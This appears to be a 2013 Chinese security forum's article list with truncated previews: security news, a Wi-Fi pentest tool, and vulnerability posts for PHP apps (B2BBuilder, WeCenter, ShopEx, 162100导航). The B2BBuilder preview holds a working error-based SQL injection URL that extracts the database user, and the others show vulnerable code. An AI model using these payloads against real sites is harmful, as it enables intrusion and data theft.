文章列表

[我爱t00ls] B2BBuilder 注入漏洞
Web安全 回复17次

[我爱t00ls] B2BBuilder 注入漏洞

最近工作好忙,这不有时间了,看看php代码,不能生锈呢.{:6_440:} 直接上利用方式,大家一看就懂.http://localhost/b2b/aboutus.php?type=12345' aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (user())),1,62)))a from information_schema.tables group by a)b) and

2013-9-5 01:37 17 4661

“短信僵尸”篡改千款应用窃取用户隐私

在刚刚过去的2012年中，手机安全问题正日益凸显，多款新型手机恶意软件的出现，手机僵尸网络的横行、恶意广告插件的激增以及在Android、iOS系统中相继出现安全漏洞，都成为了这一年中备受关注的焦点。2012年中，"僵尸网络"成为年度关注度最高的安全焦点之一，在这一年里， 360互联网安全中心相继发现利

2013-9-4 17:07 0 1304
【我爱T00LS】wecenter 注入漏洞 原anwsion
Web安全 回复46次

【我爱T00LS】wecenter 注入漏洞 原anwsion

system/function.inc.phpfunction fetch_ip(){if ($_SERVER and valid_ip($_SERVER)){$ip_address = $_SERVER;}else if ($_SERVER and $_SERVER){$ip_address = $_SERVER;}else if ($_SERVER){$ip_address = $_SERVER;}else if ($_SERVER){$ip_address = $_SERVER;}if ($ip_address === FALSE){$ip_add

2013-9-4 16:43 46 8080
【我爱T00LS】162100导航 GETSHELL
Web安全 回复21次

【我爱T00LS】162100导航 GETSHELL

./inc/require/z_other_face_up.php$web = 'face-'.urlencode($session);//这个是从ｃｏｏｋｉｅ中获取的，为cookie explode |之后的第一个字符//gmdate("YmdHis", time() + (floatval($web) * 3600));//本机上传if ($_POST == 1) { if ($web == 0) { err('系统设定为禁止上传。'); } if (is_arr

2013-9-4 16:40 21 5139
【我爱T00LS】易想团购 注入漏洞
Web安全 回复10次

【我爱T00LS】易想团购 注入漏洞

以前截图存的 代码就不翻啦 直接放图片了第一个第二个

2013-9-4 16:37 10 4244
【我爱T00LS】shopex Getshell
Web安全 回复55次

【我爱T00LS】shopex Getshell

ctl.product.phpclass ctl_product extends shopPage{ var $_call = 'call'; var $type = 'goods'; var $seoTag = array('shopname','brand','goods_name','goods_cat','goods_intro','goods_brief','brand_kw','goods_kw','goods_price','update_time','goods_bn'); function ctl_product

2013-9-4 16:30 55 7505

自动无线渗透测试工具——Wi-fEye

Wi-fEye是一款自动无线渗透测试工具，由python编写。通过这款工具，安全测试人员可以快速和轻松的对wifi网络进行渗透测试。1.破解模块: 可用于破解wifi密码，如WEP , WPA或WPA2Enable monitor modeView avalale Wireless NetworksLaunch Airodump-ng on a specific APWEP cracking: here you can perfo

2013-9-4 15:39 0 1807

Gamma产品介绍册曝光 执法部门可获类“棱镜”项目监控能力

日前，专为执法部门制造监控设备的德国Gamma公司的产品宣传册遭到了曝光。据悉，这份宣传册提供了更为详尽的产品介绍说明。其中提到了一款可捕获目标手机的唯一识别码并用其来进行追踪的可穿戴设备。Hacker (STOCK) Ars Technica还提到了一款可监控目标文本信息甚至还能在目标收不到任何警报的情况下就

2013-9-4 14:32 0 1530

黑客通过云计算提供DDoS攻击服务

【IT168 案例】最近的一起案例，来自中国的一个黑客小组新开了一个叫“IM DDODS”的网站，它就允许任何客户进行注册，并且可以对任何他们希望的目标发起DDoS攻击。安全公司Damballa声称，僵尸网络使用IM DDoS攻击力度是相当庞大的，除非有非常强大的网络带宽处理能力，否则很难进行抵御。　　云计算不

2013-9-4 10:41 1 1732

美海军陆战队网站遭黑客入侵

【法新社华盛顿9月2日电】亲叙利亚政权的黑客今天在美国海军陆战队的一个招募网站上发布消息，敦促美军反抗美国总统奥巴马发出的命令。 这些黑客在该网站上发布了一些照片，上面显示身着美国军服的人举着手写标语，标语内容为他们不会为叙利亚境内的“基地”组织而战。根据《华尔街日报》发布的一张屏

2013-9-4 10:35 1 1482